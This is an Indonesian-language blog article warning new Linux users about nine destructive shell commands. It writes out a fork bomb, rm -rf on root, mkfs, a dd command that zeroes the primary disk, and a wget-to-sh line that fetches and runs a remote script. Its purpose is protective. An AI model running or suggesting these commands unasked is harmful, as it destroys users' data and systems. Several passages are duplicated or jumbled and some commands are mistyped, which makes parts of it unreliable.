Inilah 9 Kode dan Perintah Linux Berbahaya: Hati-hati Menggunakannya
Perintah shell / Linux Terminal adalah suatu command atau baris perintah yang sangat powerfull karena hanyalah beberapa baris perintah sederhana namun dapat digunakan untuk menghapus folder, file atau bahkan r*ot folder, dan lain-lain.
Dalam beberapa kasus, Linux bahkan tidak akan meminta Anda untuk mengkonfirmasi melainkan akan menjalankan perintah secara langsung, dan jika Anda tidak berhati-hati tentunya itu akan menyebabkan Anda kehilangan data dan informasi berharga yang tersimpan dalam suatu file atau folder.
Dalam beberapa kasus, Linux bahkan tidak akan meminta Anda untuk mengkonfirmasi melainkan akan menjalankan perintah secara langsung, dan jika Anda tidak berhati-hati tentunya itu akan menyebabkan Anda kehilangan data dan informasi berharga yang tersimpan dalam suatu file atau folder.
Terutama jika Anda adalah pengguna baru dalam sistem operasi linux yang masih belajar, dan tentunya Anda akan mencari beberapa tutorial di internet. Dari sekian banyak artikel yang ada, bukan tidak mungkin Anda akan menemukan sebuah artikel yang memang disengaja untuk menjerumuskan para pengguna baru atau memang sedang iseng karena mungkin penulis artikel tersebut juga seorang pengguna baru linux dan sekedar ingin unjuk kebolehan atau iseng untuk menjahili orang lain, dengan memposting suatu perintah yang akan mengakibatkan komputer Anda terancam terkena masalah.
Untuk itulah saya mengumpulkan beberapa perintah Linux yang cukup berbahaya bagi sistem Anda agar dapat membantu Anda untuk sekedar hati-hati dan menghindari yang saya sebutkan diatas akan terjadi. Namun tetap harus perlu diingat bahwa perintah tersebut memang berbahaya dan bahkan dapat diubah dalam berbagai cara untuk tetap menghasilkan perintah baru yang bertujuan untuk menimbulkan lebih banyak kerusakan.
Untuk itulah saya mengumpulkan beberapa perintah Linux yang cukup berbahaya bagi sistem Anda agar dapat membantu Anda untuk sekedar hati-hati dan menghindari yang saya sebutkan diatas akan terjadi. Namun tetap harus perlu diingat bahwa perintah tersebut memang berbahaya dan bahkan dapat diubah dalam berbagai cara untuk tetap menghasilkan perintah baru yang bertujuan untuk menimbulkan lebih banyak kerusakan.
Dan yang penting untuk dicatat adalah bahwa beberapa perintah ini hanya berbahaya jika diawali dengan sudo di Ubuntu. Sementara di distro lain dari Linux, sebagian besar perintah yang diberikan akan berbahaya jika dieksekusi sebagai pengguna r*ot.
Baris Perintah Shell Yang Harus Hati-hati Dalam Menggunakannya
1. Linux Fork Bomb
:(){ :|: & };:
Dikenal sebagai Fork Bomb, yaitu adalah serangan Denial-of-Service (DoS) terhadap Sistem Linux. :(){ :|: & };:
Adalah merupakan fungsi bash. Setelah dieksekusi, akan melakukan looping atau berulang beberapa kali sampai sistem akan mengalami freeze.Anda hanya bisa menghentikannya dengan me-restart sistem anda. Jadi hati-hati ketika menjalankan perintah ini pada shell Linux Anda.
2. mv folder/dev/null
mv folder/dev/null
adalah perintah yang cukup berisiko lainnya. Dev/null
atau null device
adalah suatu device file atau suatu perangkat yang akan membuang semua data yang tertulis di dalamnya, namun akan melaporkan bahwa operasi yang dijalankan tersebut berhasil. Juga dikenal sebagai bit bucked atau black hole.3. Perintah rm -rf
Perintah
rm -rf
adalah cara cepat untuk menghapus suatu folder dan berikut isinya dalam sistem operasi Linux. Jika Anda tidak tahu bagaimana menggunakannya dengan benar maka dapat menjadi sangat berbahaya bagi sistem Anda. Kombinasi yang paling umum dan opsi yang digunakan dengan perintah rm -rf
tercantum di bawah ini:-
rm
Perintah ini digunakan untuk menghapus file dalam sistem Linux.
rm -f
perintah menghapus read-only file dalam folder tanpa konfirmasi atau prompting.
rm -r
perintah menghapus isi dari suatu folder secara rekursif.
rm -d
perintah ini digunakan untuk menghapus direktori kosong dan akan menolak untuk menghapusnya jika direktori tersebut tidak kosong.
rm -rf/
perintah yang digunakan untuk penghapusan paksa (akan tetap menghapus meskipun file tersebut write protected) dari semua isi dalam r*ot direktori dan sub folder.
rm -rf*
Perintah ini digunakan untuk penghapusan paksa semua konten di direktori saat ini (direktori kerja Anda saat ini) dan sub folder.
rm -rf
. Perintah ini digunakan untuk penghapusan paksa semua konten dalam folder saat ini dan sub folder.rm -r.[^.]*
Perintah ini juga dapat digunakan.
rm -i
Perintah ini digunakan untuk menghilangkan file dan folder tetapi konfirmasi atau prompt akan muncul sebelum penghapusan.
4. Perintah mkfs
mkfs
dapat menjadi suatu perintah yang berbahaya bagi sistem berbasis Linux Anda jika Anda tidak tahu apa tujuannya. Apapun yang ditulis setelah mkfs
akan diformat dan diganti dengan Linux file Sistem yang kosong. Perintah yang ditulis di bawah ini akan dapat memformat sebuah hard drive namun memerlukan hak administrator atau r*ot:mkfs
mkfs.bfs
mkfs.minix
mkfs.vfat
mkfs.ext2
mkfs.ext3
mkfs.reiserfs
mkfs.msdos
Khusus untuk perintah
mkfs.cramfs
akan melakukan hal yang sama seperti di atas namun tidak memerlukan akses r*ot untuk mengeksekusinya.5. Tar Bomb
Perintah
Ini adalah file arsip yang akan meledak menjadi ribuan atau jutaan file dengan nama yang mirip dengan file yang ada ke dalam direktori kerja saat ini atau juga ke direktori baru ketika mengekstraknya.
Anda dapat menghindari menjadi korban dari bom tar ini dengan secara teratur membuat direktori pelindung baru setiap kali Anda menerima file
Jika file
tar
(Tape Archive) digunakan untuk menggabungkan beberapa file ke dalam satu file (file arsip atau awamnya adalah zip
) dalam format .tar,
Sebuah tar
bomb dapat dibuat dengan perintah ini.Ini adalah file arsip yang akan meledak menjadi ribuan atau jutaan file dengan nama yang mirip dengan file yang ada ke dalam direktori kerja saat ini atau juga ke direktori baru ketika mengekstraknya.
Anda dapat menghindari menjadi korban dari bom tar ini dengan secara teratur membuat direktori pelindung baru setiap kali Anda menerima file
tar
dan kemudian memindahkan file tar
yang diterima ke dalam direktori ini sebelum melakukan untar
atau mengekstraknya.Jika file
tar
yang diterima adalah memang benar sebuah bom tar
maka Anda hanya dapat menghapus direktori yang baru dibuat untuk menghilangkannya. Cara lain untuk menghindari ledakan bom tar
adalah melalui opsi -t
untuk melihat daftar semua isi dari file tar
sebagai gambaran jenis konten apa yang terdapat dalam file tar
tersebut.6. Perintah dd
Perintah
Perintah tersebut mungkin dapat terlihat seperti ini:
dd
ini digunakan untuk menyalin & mengkonversi partisi hard disk. Namun, hal itu dapat berubah menjadi berbahaya jika Anda menggunakannya dengan tujuan yang salah.Perintah tersebut mungkin dapat terlihat seperti ini:
dd if=something of=/dev/sda
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=/dev/hda of=/dev/hdb
Perintah berikut akan men-destroy seluruh hard disk primer:
dd if=/dev/zero of=/dev/had
7. Kode Script Shell
Seseorang mungkin akan menjebak Anda dengan memberikan Anda link ke sebuah shell script dan menyuruh Anda untuk men-download dan menjalankannya. script tersebut mungkin berisi beberapa kode berbahaya atau malicious code di dalamnya. Format perintahnya mungkin akan terlihat seperti ini:
wget http://some_malicious_source -O- | sh
. Perintah wget
akan mendownload script, sementara sh
akan melakukan eksekusi dari script tersebut.8. Source Code Berbahaya
Seseorang memberi Anda kode sumber dan meminta Anda untuk melakukan kompilasi terhadap kode tersebut. Kode tersebut mungkin akan tampak sebagai kode yang normal namun pada kenyataannya beberapa kode berbahaya menyamar dalam kumpulan kode sumber tersebut dan akan dapat menyebabkan kerusakan pada sistem Anda. Untuk menghindari menjadi korban serangan semacam ini, hendaknya hanya menerima dan mengkompilasi sebuah kode sumber dari sumber yang dapat dipercaya.
9. Dekompres Bom
Semisalnya Anda telah menerima file archieve atau terkompresi dan Anda diminta untuk mengekstrak file tersebut yang tampaknya sangat kecil ukurannya, mungkin hanya beberapa KiloByte. Namun pada kenyataanya, file terkompresi yang berukuran sangat kecil ini ternyata berisi data yang sangat sangat padat atau Very highly compressed.
Setelah file di dekompresi, ratusan GigaByte data ter-extrak dan dapat memenuhi isi hard drive Anda yang tentunya akan menurunkan kinerja sistem Linux Anda. Untuk menghindari situasi ini, lagi-lagi selalu ingat untuk menerima data dari sumber yang dapat dipercaya.
Setelah file di dekompresi, ratusan GigaByte data ter-extrak dan dapat memenuhi isi hard drive Anda yang tentunya akan menurunkan kinerja sistem Linux Anda. Untuk menghindari situasi ini, lagi-lagi selalu ingat untuk menerima data dari sumber yang dapat dipercaya.